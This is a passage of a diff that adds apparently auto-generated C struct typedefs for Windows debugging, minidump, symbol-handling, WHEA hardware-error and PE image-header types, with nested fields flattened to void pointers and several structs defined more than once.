ErrStatusAddressAccessSize; + long long ErrStatusAddress; + void* Notify; +} WHEA_GENERIC_ERROR_DESCRIPTOR; + +typedef struct _XSAVE_AREA { + void* LegacyState; + void* Header; +} XSAVE_AREA; + +typedef struct _MINIDUMP_VM_PRE_READ_CALLBACK { + unsigned long long Offset; + void* Buffer; + unsigned int Size; +} MINIDUMP_VM_PRE_READ_CALLBACK; + +typedef struct _MINIDUMP_MEMORY_DESCRIPTOR64 { + unsigned long long StartOfMemoryRange; + unsigned long long DataSize; +} MINIDUMP_MEMORY_DESCRIPTOR64; + +typedef struct _MINIDUMP_FUNCTION_TABLE_DESCRIPTOR { + unsigned long long MinimumAddress; + unsigned long long MaximumAddress; + unsigned long long BaseAddress; + unsigned int EntryCount; + unsigned int SizeOfAlignPad; +} MINIDUMP_FUNCTION_TABLE_DESCRIPTOR; + +typedef struct _RIP_INFO { + unsigned int dwError; + void* dwType; +} RIP_INFO; + +typedef struct _DIMM_ADDR_VALID_BITS_DDR5 { + unsigned int _bitfield; +} DIMM_ADDR_VALID_BITS_DDR5; + +typedef struct _MINIDUMP_SYSTEM_PERFORMANCE_INFORMATION { + unsigned long long IdleProcessTime; + unsigned long long IoReadTransferCount; + unsigned long long IoWriteTransferCount; + unsigned long long IoOtherTransferCount; + unsigned int IoReadOperationCount; + unsigned int IoWriteOperationCount; + unsigned int IoOtherOperationCount; + unsigned int AvailablePages; + unsigned int CommittedPages; + unsigned int CommitLimit; + unsigned int PeakCommitment; + unsigned int PageFaultCount; + unsigned int CopyOnWriteCount; + unsigned int TransitionCount; + unsigned int CacheTransitionCount; + unsigned int DemandZeroCount; + unsigned int PageReadCount; + unsigned int PageReadIoCount; + unsigned int CacheReadCount; + unsigned int CacheIoCount; + unsigned int DirtyPagesWriteCount; + unsigned int DirtyWriteIoCount; + unsigned int MappedPagesWriteCount; + unsigned int MappedWriteIoCount; + unsigned int PagedPoolPages; + unsigned int NonPagedPoolPages; + unsigned int PagedPoolAllocs; + unsigned int PagedPoolFrees; + unsigned int NonPagedPoolAllocs; + unsigned int NonPagedPoolFrees; + unsigned int FreeSystemPtes; + unsigned int ResidentSystemCodePage; + unsigned int TotalSystemDriverPages; + unsigned int TotalSystemCodePages; + unsigned int NonPagedPoolLookasideHits; + unsigned int PagedPoolLookasideHits; + unsigned int AvailablePagedPoolPages; + unsigned int ResidentSystemCachePage; + unsigned int ResidentPagedPoolPage; + unsigned int ResidentSystemDriverPage; + unsigned int CcFastReadNoWait; + unsigned int CcFastReadWait; + unsigned int CcFastReadResourceMiss; + unsigned int CcFastReadNotPossible; + unsigned int CcFastMdlReadNoWait; + unsigned int CcFastMdlReadWait; + unsigned int CcFastMdlReadResourceMiss; + unsigned int CcFastMdlReadNotPossible; + unsigned int CcMapDataNoWait; + unsigned int CcMapDataWait; + unsigned int CcMapDataNoWaitMiss; + unsigned int CcMapDataWaitMiss; + unsigned int CcPinMappedDataCount; + unsigned int CcPinReadNoWait; + unsigned int CcPinReadWait; + unsigned int CcPinReadNoWaitMiss; + unsigned int CcPinReadWaitMiss; + unsigned int CcCopyReadNoWait; + unsigned int CcCopyReadWait; + unsigned int CcCopyReadNoWaitMiss; + unsigned int CcCopyReadWaitMiss; + unsigned int CcMdlReadNoWait; + unsigned int CcMdlReadWait; + unsigned int CcMdlReadNoWaitMiss; + unsigned int CcMdlReadWaitMiss; + unsigned int CcReadAheadIos; + unsigned int CcLazyWriteIos; + unsigned int CcLazyWritePages; + unsigned int CcDataFlushes; + unsigned int CcDataPages; + unsigned int ContextSwitches; + unsigned int FirstLevelTbFills; + unsigned int SecondLevelTbFills; + unsigned int SystemCalls; + unsigned long long CcTotalDirtyPages; + unsigned long long CcDirtyPageThreshold; + long long ResidentAvailablePages; + unsigned long long SharedCommittedPages; +} MINIDUMP_SYSTEM_PERFORMANCE_INFORMATION; + +typedef struct _ARM64_NT_CONTEXT { + unsigned int ContextFlags; + unsigned int Cpsr; + void* Anonymous; + unsigned long long Sp; + unsigned long long Pc; + void* V[32]; + unsigned int Fpcr; + unsigned int Fpsr; + unsigned int Bcr[8]; + unsigned long long Bvr[8]; + unsigned int Wcr[2]; + unsigned long long Wvr[2]; +} ARM64_NT_CONTEXT; + +typedef struct _MINIDUMP_TOKEN_INFO_LIST { + unsigned int TokenListSize; + unsigned int TokenListEntries; + unsigned int ListHeaderSize; + unsigned int ElementHeaderSize; +} MINIDUMP_TOKEN_INFO_LIST; + +typedef struct _UNWIND_HISTORY_TABLE { + unsigned int Count; + unsigned char LocalHint; + unsigned char GlobalHint; + unsigned char Search; + unsigned char Once; + unsigned long long LowAddress; + unsigned long long HighAddress; + void* Entry[12]; +} UNWIND_HISTORY_TABLE; + +typedef struct _CREATE_PROCESS_DEBUG_INFO { + void* hFile; + void* hProcess; + void* hThread; + void* lpBaseOfImage; + unsigned int dwDebugInfoFileOffset; + unsigned int nDebugInfoSize; + void* lpThreadLocalBase; + void* lpStartAddress; + void* lpImageName; + unsigned short fUnicode; +} CREATE_PROCESS_DEBUG_INFO; + +typedef struct _IMAGEHLP_LINE { + unsigned int SizeOfStruct; + void* Key; + unsigned int LineNumber; + void* FileName; + unsigned int Address; +} IMAGEHLP_LINE; + +typedef struct _SYMBOL_INFO_PACKAGEW { + void* si; + unsigned short name[2001]; +} SYMBOL_INFO_PACKAGEW; + +typedef struct _IMAGEHLP_SYMBOL { + unsigned int SizeOfStruct; + unsigned int Address; + unsigned int Size; + unsigned int Flags; + unsigned int MaxNameLength; + unsigned char Name[1]; +} IMAGEHLP_SYMBOL; + +typedef struct _WHEA_IPF_CMC_DESCRIPTOR { + unsigned short Type; + unsigned char Enabled; + unsigned char Reserved; +} WHEA_IPF_CMC_DESCRIPTOR; + +typedef struct _SYMSRV_EXTENDED_OUTPUT_DATA { + unsigned int sizeOfStruct; + unsigned int version; + unsigned short filePtrMsg[261]; +} SYMSRV_EXTENDED_OUTPUT_DATA; + +typedef struct _MINIDUMP_INCLUDE_MODULE_CALLBACK { + unsigned long long BaseOfImage; +} MINIDUMP_INCLUDE_MODULE_CALLBACK; + +typedef struct _WOW64_FLOATING_SAVE_AREA { + unsigned int ControlWord; + unsigned int StatusWord; + unsigned int TagWord; + unsigned int ErrorOffset; + unsigned int ErrorSelector; + unsigned int DataOffset; + unsigned int DataSelector; + unsigned char RegisterArea[80]; + unsigned int Cr0NpxState; +} WOW64_FLOATING_SAVE_AREA; + +typedef struct _IMAGEHLP_MODULE64 { + unsigned int SizeOfStruct; + unsigned long long BaseOfImage; + unsigned int ImageSize; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int NumSyms; + void* SymType; + unsigned char ModuleName[32]; + unsigned char ImageName[256]; + unsigned char LoadedImageName[256]; + unsigned char LoadedPdbName[256]; + unsigned int CVSig; + unsigned char CVData[780]; + unsigned int PdbSig; + void* PdbSig70; + unsigned int PdbAge; + BOOL PdbUnmatched; + BOOL DbgUnmatched; + BOOL LineNumbers; + BOOL GlobalSymbols; + BOOL TypeInfo; + BOOL SourceIndexed; + BOOL Publics; + unsigned int MachineType; + unsigned int Reserved; +} IMAGEHLP_MODULE64; + +typedef struct _SYMBOL_INFO_PACKAGE { + void* si; + unsigned char name[2001]; +} SYMBOL_INFO_PACKAGE; + +typedef struct _KDHELP { + unsigned int Thread; + unsigned int ThCallbackStack; + unsigned int NextCallback; + unsigned int FramePointer; + unsigned int KiCallUserMode; + unsigned int KeUserCallbackDispatcher; + unsigned int SystemRangeStart; + unsigned int ThCallbackBStore; + unsigned int KiUserExceptionDispatcher; + unsigned int StackBase; + unsigned int StackLimit; + unsigned int Reserved[5]; +} KDHELP; + +typedef struct _IMAGEHLP_MODULEW64 { + unsigned int SizeOfStruct; + unsigned long long BaseOfImage; + unsigned int ImageSize; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int NumSyms; + void* SymType; + unsigned short ModuleName[32]; + unsigned short ImageName[256]; + unsigned short LoadedImageName[256]; + unsigned short LoadedPdbName[256]; + unsigned int CVSig; + unsigned short CVData[780]; + unsigned int PdbSig; + void* PdbSig70; + unsigned int PdbAge; + BOOL PdbUnmatched; + BOOL DbgUnmatched; + BOOL LineNumbers; + BOOL GlobalSymbols; + BOOL TypeInfo; + BOOL SourceIndexed; + BOOL Publics; + unsigned int MachineType; + unsigned int Reserved; +} IMAGEHLP_MODULEW64; + +typedef struct _OMAP { + unsigned int rva; + unsigned int rvaTo; +} OMAP; + +typedef struct _IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY { + unsigned int BeginAddress; + void* Anonymous; +} IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY; + +typedef struct _IMAGEHLP_SYMBOL_SRC { + unsigned int sizeofstruct; + unsigned int type; + unsigned char file[260]; +} IMAGEHLP_SYMBOL_SRC; + +typedef struct _WHEA_XPF_MCE_DESCRIPTOR { + unsigned short Type; + unsigned char Enabled; + unsigned char NumberOfBanks; + void* Flags; + unsigned long long MCG_Capability; + unsigned long long MCG_GlobalControl; + void* Banks[32]; +} WHEA_XPF_MCE_DESCRIPTOR; + +typedef struct _XSTATE_CONTEXT { + unsigned long long Mask; + unsigned int Length; + unsigned char Flags; + unsigned char Reserved0[3]; + void* Area; + void* Buffer; +} XSTATE_CONTEXT; + +typedef struct _XSTATE_CONTEXT { + unsigned long long Mask; + unsigned int Length; + unsigned char Flags; + unsigned char Reserved0[3]; + void* Area; + unsigned int Reserved2; + void* Buffer; + unsigned int Reserved3; +} XSTATE_CONTEXT; + +typedef struct _EXCEPTION_DEBUG_INFO { + void* ExceptionRecord; + unsigned int dwFirstChance; +} EXCEPTION_DEBUG_INFO; + +typedef struct _M128A { + unsigned long long Low; + long long High; +} M128A; + +typedef struct _MINIDUMP_HANDLE_DESCRIPTOR_2 { + unsigned long long Handle; + unsigned int TypeNameRva; + unsigned int ObjectNameRva; + unsigned int Attributes; + unsigned int GrantedAccess; + unsigned int HandleCount; + unsigned int PointerCount; + unsigned int ObjectInfoRva; + unsigned int Reserved0; +} MINIDUMP_HANDLE_DESCRIPTOR_2; + +typedef struct _MINIDUMP_MISC_INFO_4 { + unsigned int SizeOfInfo; + unsigned int Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; + unsigned int ProcessorMaxMhz; + unsigned int ProcessorCurrentMhz; + unsigned int ProcessorMhzLimit; + unsigned int ProcessorMaxIdleState; + unsigned int ProcessorCurrentIdleState; + unsigned int ProcessIntegrityLevel; + unsigned int ProcessExecuteFlags; + unsigned int ProtectedProcess; + unsigned int TimeZoneId; + void* TimeZone; + unsigned short BuildString[260]; + unsigned short DbgBldStr[40]; +} MINIDUMP_MISC_INFO_4; + +typedef struct _IMAGEHLP_SYMBOL_PACKAGE { + void* sym; + unsigned char name[2001]; +} IMAGEHLP_SYMBOL_PACKAGE; + +typedef struct _WHEA_IPF_CPE_DESCRIPTOR { + unsigned short Type; + unsigned char Enabled; + unsigned char Reserved; +} WHEA_IPF_CPE_DESCRIPTOR; + +typedef struct _MINIDUMP_INCLUDE_THREAD_CALLBACK { + unsigned int ThreadId; +} MINIDUMP_INCLUDE_THREAD_CALLBACK; + +typedef struct _DIMM_ADDRESS { + void* Ddr4; + void* Ddr5; +} DIMM_ADDRESS; + +typedef struct _MINIDUMP_MISC_INFO { + unsigned int SizeOfInfo; + void* Flags1; + unsigned int ProcessId; + unsigned int ProcessCreateTime; + unsigned int ProcessUserTime; + unsigned int ProcessKernelTime; +} MINIDUMP_MISC_INFO; + +typedef struct _IMAGEHLP_DUPLICATE_SYMBOL { + unsigned int SizeOfStruct; + unsigned int NumberOfDups; + void* Symbol; + unsigned int SelectedSymbol; +} IMAGEHLP_DUPLICATE_SYMBOL; + +typedef struct _IMAGEHLP_SYMBOLW { + unsigned int SizeOfStruct; + unsigned int Address; + unsigned int Size; + unsigned int Flags; + unsigned int MaxNameLength; + unsigned short Name[1]; +} IMAGEHLP_SYMBOLW; + +typedef struct _MINIDUMP_EXCEPTION { + unsigned int ExceptionCode; + unsigned int ExceptionFlags; + unsigned long long ExceptionRecord; + unsigned long long ExceptionAddress; + unsigned int NumberParameters; + unsigned int __unusedAlignment; + unsigned long long ExceptionInformation[15]; +} MINIDUMP_EXCEPTION; + +typedef struct _MINIDUMP_IO_CALLBACK { + void* Handle; + unsigned long long Offset; + void* Buffer; + unsigned int BufferBytes; +} MINIDUMP_IO_CALLBACK; + +typedef struct _MINIDUMP_CALLBACK_OUTPUT { + void* Anonymous; +} MINIDUMP_CALLBACK_OUTPUT; + +typedef struct _MINIDUMP_VM_POST_READ_CALLBACK { + unsigned long long Offset; + void* Buffer; + unsigned int Size; + unsigned int Completed; + int Status; +} MINIDUMP_VM_POST_READ_CALLBACK; + +typedef struct _AER_BRIDGE_DESCRIPTOR_FLAGS { + void* Anonymous; + unsigned short AsUSHORT; +} AER_BRIDGE_DESCRIPTOR_FLAGS; + +typedef struct _KNONVOLATILE_CONTEXT_POINTERS { + void* X19; + void* X20; + void* X21; + void* X22; + void* X23; + void* X24; + void* X25; + void* X26; + void* X27; + void* X28; + void* Fp; + void* Lr; + void* D8; + void* D9; + void* D10; + void* D11; + void* D12; + void* D13; + void* D14; + void* D15; +} KNONVOLATILE_CONTEXT_POINTERS; + +typedef struct _KNONVOLATILE_CONTEXT_POINTERS { + void* Anonymous1; + void* Anonymous2; +} KNONVOLATILE_CONTEXT_POINTERS; + +typedef struct _KNONVOLATILE_CONTEXT_POINTERS { + unsigned int Dummy; +} KNONVOLATILE_CONTEXT_POINTERS; + +typedef struct _MINIDUMP_EXCEPTION_INFORMATION { + unsigned int ThreadId; + void* ExceptionPointers; + BOOL ClientPointers; +} MINIDUMP_EXCEPTION_INFORMATION; + +typedef struct _MINIDUMP_EXCEPTION_INFORMATION { + unsigned int ThreadId; + void* ExceptionPointers; + BOOL ClientPointers; +} MINIDUMP_EXCEPTION_INFORMATION; + +typedef struct _SYMBOL_INFOW { + unsigned int SizeOfStruct; + unsigned int TypeIndex; + unsigned long long Reserved[2]; + unsigned int Index; + unsigned int Size; + unsigned long long ModBase; + void* Flags; + unsigned long long Value; + unsigned long long Address; + unsigned int Register; + unsigned int Scope; + unsigned int Tag; + unsigned int NameLen; + unsigned int MaxNameLen; + unsigned short Name[1]; +} SYMBOL_INFOW; + +typedef struct _WHEA_XPF_MC_BANK_DESCRIPTOR { + unsigned char BankNumber; + BOOL ClearOnInitialization; + unsigned char StatusDataFormat; + void* Flags; + unsigned int ControlMsr; + unsigned int StatusMsr; + unsigned int AddressMsr; + unsigned int MiscMsr; + unsigned long long ControlData; +} WHEA_XPF_MC_BANK_DESCRIPTOR; + +typedef struct _WHEA_AER_BRIDGE_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char Reserved; + unsigned int BusNumber; + void* Slot; + unsigned short DeviceControl; + void* Flags; + unsigned int UncorrectableErrorMask; + unsigned int UncorrectableErrorSeverity; + unsigned int CorrectableErrorMask; + unsigned int AdvancedCapsAndControl; + unsigned int SecondaryUncorrectableErrorMask; + unsigned int SecondaryUncorrectableErrorSev; + unsigned int SecondaryCapsAndControl; +} WHEA_AER_BRIDGE_DESCRIPTOR; + +typedef struct _KDHELP64 { + unsigned long long Thread; + unsigned int ThCallbackStack; + unsigned int ThCallbackBStore; + unsigned int NextCallback; + unsigned int FramePointer; + unsigned long long KiCallUserMode; + unsigned long long KeUserCallbackDispatcher; + unsigned long long SystemRangeStart; + unsigned long long KiUserExceptionDispatcher; + unsigned long long StackBase; + unsigned long long StackLimit; + unsigned int BuildVersion; + unsigned int RetpolineStubFunctionTableSize; + unsigned long long RetpolineStubFunctionTable; + unsigned int RetpolineStubOffset; + unsigned int RetpolineStubSize; + unsigned long long Reserved0[2]; +} KDHELP64; + +typedef struct _LDT_ENTRY { + unsigned short LimitLow; + unsigned short BaseLow; + void* HighWord; +} LDT_ENTRY; + +typedef struct _MINIDUMP_SYSTEM_BASIC_INFORMATION { + unsigned int TimerResolution; + unsigned int PageSize; + unsigned int NumberOfPhysicalPages; + unsigned int LowestPhysicalPageNumber; + unsigned int HighestPhysicalPageNumber; + unsigned int AllocationGranularity; + unsigned long long MinimumUserModeAddress; + unsigned long long MaximumUserModeAddress; + unsigned long long ActiveProcessorsAffinityMask; + unsigned int NumberOfProcessors; +} MINIDUMP_SYSTEM_BASIC_INFORMATION; + +typedef struct _CREATE_THREAD_DEBUG_INFO { + void* hThread; + void* lpThreadLocalBase; + void* lpStartAddress; +} CREATE_THREAD_DEBUG_INFO; + +typedef struct _MINIDUMP_SYSTEM_PERFORMANCE_INFORMATION_2 { + unsigned long long IdleProcessTime; + unsigned long long IoReadTransferCount; + unsigned long long IoWriteTransferCount; + unsigned long long IoOtherTransferCount; + unsigned int IoReadOperationCount; + unsigned int IoWriteOperationCount; + unsigned int IoOtherOperationCount; + unsigned int AvailablePages; + unsigned int CommittedPages; + unsigned int CommitLimit; + unsigned int PeakCommitment; + unsigned int PageFaultCount; + unsigned int CopyOnWriteCount; + unsigned int TransitionCount; + unsigned int CacheTransitionCount; + unsigned int DemandZeroCount; + unsigned int PageReadCount; + unsigned int PageReadIoCount; + unsigned int CacheReadCount; + unsigned int CacheIoCount; + unsigned int DirtyPagesWriteCount; + unsigned int DirtyWriteIoCount; + unsigned int MappedPagesWriteCount; + unsigned int MappedWriteIoCount; + unsigned int PagedPoolPages; + unsigned int NonPagedPoolPages; + unsigned int PagedPoolAllocs; + unsigned int PagedPoolFrees; + unsigned int NonPagedPoolAllocs; + unsigned int NonPagedPoolFrees; + unsigned int FreeSystemPtes; + unsigned int ResidentSystemCodePage; + unsigned int TotalSystemDriverPages; + unsigned int TotalSystemCodePages; + unsigned int NonPagedPoolLookasideHits; + unsigned int PagedPoolLookasideHits; + unsigned int AvailablePagedPoolPages; + unsigned int ResidentSystemCachePage; + unsigned int ResidentPagedPoolPage; + unsigned int ResidentSystemDriverPage; + unsigned int CcFastReadNoWait; + unsigned int CcFastReadWait; + unsigned int CcFastReadResourceMiss; + unsigned int CcFastReadNotPossible; + unsigned int CcFastMdlReadNoWait; + unsigned int CcFastMdlReadWait; + unsigned int CcFastMdlReadResourceMiss; + unsigned int CcFastMdlReadNotPossible; + unsigned int CcMapDataNoWait; + unsigned int CcMapDataWait; + unsigned int CcMapDataNoWaitMiss; + unsigned int CcMapDataWaitMiss; + unsigned int CcPinMappedDataCount; + unsigned int CcPinReadNoWait; + unsigned int CcPinReadWait; + unsigned int CcPinReadNoWaitMiss; + unsigned int CcPinReadWaitMiss; + unsigned int CcCopyReadNoWait; + unsigned int CcCopyReadWait; + unsigned int CcCopyReadNoWaitMiss; + unsigned int CcCopyReadWaitMiss; + unsigned int CcMdlReadNoWait; + unsigned int CcMdlReadWait; + unsigned int CcMdlReadNoWaitMiss; + unsigned int CcMdlReadWaitMiss; + unsigned int CcReadAheadIos; + unsigned int CcLazyWriteIos; + unsigned int CcLazyWritePages; + unsigned int CcDataFlushes; + unsigned int CcDataPages; + unsigned int ContextSwitches; + unsigned int FirstLevelTbFills; + unsigned int SecondLevelTbFills; + unsigned int SystemCalls; + unsigned long long CcTotalDirtyPages; + unsigned long long CcDirtyPageThreshold; + long long ResidentAvailablePages; + unsigned long long SharedCommittedPages; + unsigned long long MdlPagesAllocated; + unsigned long long PfnDatabaseCommittedPages; + unsigned long long SystemPageTableCommittedPages; + unsigned long long ContiguousPagesAllocated; +} MINIDUMP_SYSTEM_PERFORMANCE_INFORMATION_2; + +typedef struct _IMAGE_LOAD_CONFIG_CODE_INTEGRITY { + unsigned short Flags; + unsigned short Catalog; + unsigned int CatalogOffset; + unsigned int Reserved; +} IMAGE_LOAD_CONFIG_CODE_INTEGRITY; + +typedef struct _IMAGE_NT_HEADERS64 { + unsigned int Signature; + void* FileHeader; + void* OptionalHeader; +} IMAGE_NT_HEADERS64; + +typedef struct _STACKFRAME64 { + void* AddrPC; + void* AddrReturn; + void* AddrFrame; + void* AddrStack; + void* AddrBStore; + void* FuncTableEntry; + unsigned long long Params[4]; + BOOL Far; + BOOL Virtual; + unsigned long long Reserved[3]; + void* KdHelp; +} STACKFRAME64; + +typedef struct _DebugPropertyInfo { + unsigned int m_dwValidFields; + void* m_bstrName; + void* m_bstrType; + void* m_bstrValue; + void* m_bstrFullName; + unsigned int m_dwAttrib; + void* m_pDebugProp; +} DebugPropertyInfo; + +typedef struct _MINIDUMP_MODULE_CALLBACK { + void* FullPath; + unsigned long long BaseOfImage; + unsigned int SizeOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + void* VersionInfo; + void* CvRecord; + unsigned int SizeOfCvRecord; + void* MiscRecord; + unsigned int SizeOfMiscRecord; +} MINIDUMP_MODULE_CALLBACK; + +typedef struct _SYMSRV_INDEX_INFOW { + unsigned int sizeofstruct; + unsigned short file[261]; + BOOL stripped; + unsigned int timestamp; + unsigned int size; + unsigned short dbgfile[261]; + unsigned short pdbfile[261]; + void* guid; + unsigned int sig; + unsigned int age; +} SYMSRV_INDEX_INFOW; + +typedef struct _IMAGE_FILE_HEADER { + void* Machine; + unsigned short NumberOfSections; + unsigned int TimeDateStamp; + unsigned int PointerToSymbolTable; + unsigned int NumberOfSymbols; + unsigned short SizeOfOptionalHeader; + void* Characteristics; +} IMAGE_FILE_HEADER; + +typedef struct _EXCEPTION_POINTERS { + void* ExceptionRecord; + void* ContextRecord; +} EXCEPTION_POINTERS; + +typedef struct _WHEA_GENERIC_ERROR_DESCRIPTOR_V2 { + unsigned short Type; + unsigned char Reserved; + unsigned char Enabled; + unsigned int ErrStatusBlockLength; + unsigned int RelatedErrorSourceId; + unsigned char ErrStatusAddressSpaceID; + unsigned char ErrStatusAddressBitWidth; + unsigned char ErrStatusAddressBitOffset; + unsigned char ErrStatusAddressAccessSize; + long long ErrStatusAddress; + void* Notify; + unsigned char ReadAckAddressSpaceID; + unsigned char ReadAckAddressBitWidth; + unsigned char ReadAckAddressBitOffset; + unsigned char ReadAckAddressAccessSize; + long long ReadAckAddress; + unsigned long long ReadAckPreserveMask; + unsigned long long ReadAckWriteMask; +} WHEA_GENERIC_ERROR_DESCRIPTOR_V2; + +typedef struct _MINIDUMP_THREAD_EX_CALLBACK { + unsigned int ThreadId; + void* ThreadHandle; + unsigned int Pad; + void* Context; + unsigned int SizeOfContext; + unsigned long long StackBase; + unsigned long long StackEnd; + unsigned long long BackingStoreBase; + unsigned long long BackingStoreEnd; +} MINIDUMP_THREAD_EX_CALLBACK; + +typedef struct _MINIDUMP_THREAD_EX_CALLBACK { + unsigned int ThreadId; + void* ThreadHandle; + void* Context; + unsigned int SizeOfContext; + unsigned long long StackBase; + unsigned long long StackEnd; + unsigned long long BackingStoreBase; + unsigned long long BackingStoreEnd; +} MINIDUMP_THREAD_EX_CALLBACK; + +typedef struct _IMAGE_RUNTIME_FUNCTION_ENTRY { + unsigned int BeginAddress; + unsigned int EndAddress; + void* Anonymous; +} IMAGE_RUNTIME_FUNCTION_ENTRY; + +typedef struct _WHEA_IPF_MCA_DESCRIPTOR { + unsigned short Type; + unsigned char Enabled; + unsigned char Reserved; +} WHEA_IPF_MCA_DESCRIPTOR; + +typedef struct _SOURCEFILEW { + unsigned long long ModBase; + void* FileName; +} SOURCEFILEW; + +typedef struct _IMAGE_FUNCTION_ENTRY { + unsigned int StartingAddress; + unsigned int EndingAddress; + unsigned int EndOfPrologue; +} IMAGE_FUNCTION_ENTRY; + +typedef struct _XSTATE_CONFIGURATION { + unsigned long long EnabledFeatures; + unsigned long long EnabledVolatileFeatures; + unsigned int Size; + void* Anonymous; + void* Features[64]; + unsigned long long EnabledSupervisorFeatures; + unsigned long long AlignedFeatures; + unsigned int AllFeatureSize; + unsigned int AllFeatures[64]; + unsigned long long EnabledUserVisibleSupervisorFeatures; + unsigned long long ExtendedFeatureDisableFeatures; + unsigned int AllNonLargeFeatureSize; + unsigned short MaxSveVectorLength; + unsigned short Spare1; +} XSTATE_CONFIGURATION; + +typedef struct _TI_GET_DISCRIMINATEDUNION_TAG_RANGES_PARAMS { + unsigned int Count; + unsigned int Start; + void* Range[1]; +} TI_GET_DISCRIMINATEDUNION_TAG_RANGES_PARAMS; + +typedef struct _ExtendedDebugPropertyInfo { + unsigned int dwValidFields; + void* pszName; + void* pszType; + void* pszValue; + void* pszFullName; + unsigned int dwAttrib; + void* pDebugProp; + unsigned int nDISPID; + unsigned int nType; + void* varValue; + void* plbValue; + void* pDebugExtProp; +} ExtendedDebugPropertyInfo; + +typedef struct _PHYSICAL_MEMORY_DESCRIPTOR64 { + unsigned int NumberOfRuns; + unsigned long long NumberOfPages; + void* Run[1]; +} PHYSICAL_MEMORY_DESCRIPTOR64; + +typedef struct _MINIDUMP_THREAD_INFO_LIST { + unsigned int SizeOfHeader; + unsigned int SizeOfEntry; + unsigned int NumberOfEntries; +} MINIDUMP_THREAD_INFO_LIST; + +typedef struct _MINIDUMP_EXCEPTION_STREAM { + unsigned int ThreadId; + unsigned int __alignment; + void* ExceptionRecord; + void* ThreadContext; +} MINIDUMP_EXCEPTION_STREAM; + +typedef struct _MINIDUMP_THREAD_CALLBACK { + unsigned int ThreadId; + void* ThreadHandle; + unsigned int Pad; + void* Context; + unsigned int SizeOfContext; + unsigned long long StackBase; + unsigned long long StackEnd; +} MINIDUMP_THREAD_CALLBACK; + +typedef struct _MINIDUMP_THREAD_CALLBACK { + unsigned int ThreadId; + void* ThreadHandle; + void* Context; + unsigned int SizeOfContext; + unsigned long long StackBase; + unsigned long long StackEnd; +} MINIDUMP_THREAD_CALLBACK; + +typedef struct _IMAGE_ROM_HEADERS { + void* FileHeader; + void* OptionalHeader; +} IMAGE_ROM_HEADERS; + +typedef struct _MODLOAD_CVMISC { + unsigned int oCV; + unsigned long long cCV; + unsigned int oMisc; + unsigned long long cMisc; + unsigned int dtImage; + unsigned int cImage; +} MODLOAD_CVMISC; + +typedef struct _WHEA_AER_ENDPOINT_DESCRIPTOR { + unsigned short Type; + BOOL Enabled; + unsigned char Reserved; + unsigned int BusNumber; + void* Slot; + unsigned short DeviceControl; + void* Flags; + unsigned int UncorrectableErrorMask; + unsigned int UncorrectableErrorSeverity; + unsigned int CorrectableErrorMask; + unsigned int AdvancedCapsAndControl; +} WHEA_AER_ENDPOINT_DESCRIPTOR; + +typedef struct _WHEA_ERROR_SOURCE_DESCRIPTOR { + unsigned int Length; + unsigned int Version; + void* Type; + void* State; + unsigned int MaxRawDataLength; + unsigned int NumRecordsToPreallocate; + unsigned int MaxSectionsPerRecord; + unsigned int ErrorSourceId; + unsigned int PlatformErrorSourceId; + unsigned int Flags; + void* Info; +} WHEA_ERROR_SOURCE_DESCRIPTOR; + +typedef struct _MINIDUMP_UNLOADED_MODULE { + unsigned long long BaseOfImage; + unsigned int SizeOfImage; + unsigned int CheckSum; + unsigned int TimeDateStamp; + unsigned int ModuleNameRva; +} MINIDUMP_UNLOADED_MODULE; + +typedef struct _MINIDUMP_VM_QUERY_CALLBACK { + unsigned long long Offset; +} MINIDUMP_VM_QUERY_CALLBACK; + +typedef struct _UNLOAD_DLL_DEBUG_INFO { + void* lpBaseOfDll; +} UNLOAD_DLL_DEBUG_INFO; + +typedef struct _IMAGEHLP_DUPLICATE_SYMBOL64 { + unsigned int SizeOfStruct; + unsigned int NumberOfDups; + void* Symbol; + unsigned int SelectedSymbol; +} IMAGEHLP_DUPLICATE_SYMBOL64; + +typedef struct _MODULE_TYPE_INFO { + unsigned short dataLength; + unsigned short leaf; + unsigned char data[1]; +} MODULE_TYPE_INFO; + +typedef struct _DEBUG_EVENT { + void* dwDebugEventCode; + unsigned int dwProcessId; + unsigned int dwThreadId; + void* u; +} DEBUG_EVENT; + +typedef struct _FPO_DATA { + unsigned int ulOffStart; + unsigned int cbProcSize; + unsigned int cdwLocals; + unsigned short cdwParams; + unsigned short _bitfield; +} FPO_DATA; + +typedef struct _MINIDUMP_USER_STREAM { + unsigned int Type; + unsigned int BufferSize; + void* Buffer; +} MINIDUMP_USER_STREAM; + +typedef struct _MINIDUMP_USER_STREAM { + unsigned int Type; + unsigned int BufferSize; + void* Buffer; +} MINIDUMP_USER_STREAM; + +typedef struct _EXCEPTION_RECORD32 { + int ExceptionCode; + unsigned int ExceptionFlags; + unsigned int ExceptionRecord; + unsigned int ExceptionAddress; + unsigned int NumberParameters; + unsigned int ExceptionInformation[15]; +} EXCEPTION_RECORD32; + +typedef struct _MINIDUMP_PROCESS_VM_COUNTERS_1 { + unsigned short Revision; + unsigned int PageFaultCount; + unsigned long long PeakWorkingSetSize; + unsigned long long WorkingSetSize; + unsigned long long QuotaPeakPagedPoolUsage; + unsigned long long QuotaPagedPoolUsage; + unsigned long long QuotaPeakNonPagedPoolUsage; + unsigned long long QuotaNonPagedPoolUsage; + unsigned long long PagefileUsage; + unsigned long long PeakPagefileUsage; + unsigned long long PrivateUsage; +} MINIDUMP_PROCESS_VM_COUNTERS_1; + +typedef struct _IMAGE_OPTIONAL_HEADER32 { + void* Magic; + unsigned char MajorLinkerVersion; + unsigned char MinorLinkerVersion; + unsigned int SizeOfCode; + unsigned int SizeOfInitializedData; + unsigned int SizeOfUninitializedData; + unsigned int AddressOfEntryPoint; + unsigned int BaseOfCode; + unsigned int BaseOfData; + unsigned int ImageBase; + unsigned int SectionAlignment; + unsigned int FileAlignment; + unsigned short MajorOperatingSystemVersion; + unsigned short MinorOperatingSystemVersion; + unsigned short MajorImageVersion; + unsigned short MinorImageVersion; + unsigned short MajorSubsystemVersion; + unsigned short MinorSubsystemVersion; + unsigned int Win32VersionValue; + unsigned int SizeOfImage; + unsigned int SizeOfHeaders; + unsigned int CheckSum; + void* Subsystem; + void* DllCharacteristics; + unsigned int 